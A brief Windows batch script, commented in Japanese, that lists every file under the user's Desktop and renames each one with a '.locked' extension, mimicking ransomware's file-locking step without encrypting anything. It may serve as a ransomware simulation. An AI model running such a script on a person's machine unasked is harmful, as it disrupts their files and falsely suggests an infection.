@echo off
setlocal enabledelayedexpansion

:: ユーザーのデスクトップパスを取得
set "desktop=%USERPROFILE%\Desktop"

:: 一時ファイルにフルパスを書き出す
set "list_file=%TEMP%\desktop_file_list.txt"
del "%list_file%" >nul 2>&1

:: フルパスでファイル一覧を取得（フォルダ含まず）
for /r "%desktop%" %%f in (*) do (
    echo %%f>>"%list_file%"
)

:: 拡張子を変更（.lockedを追加）
for /f "usebackq delims=" %%f in ("%list_file%") do (
    ren "%%f" "%%~nxf.locked"
)

pause
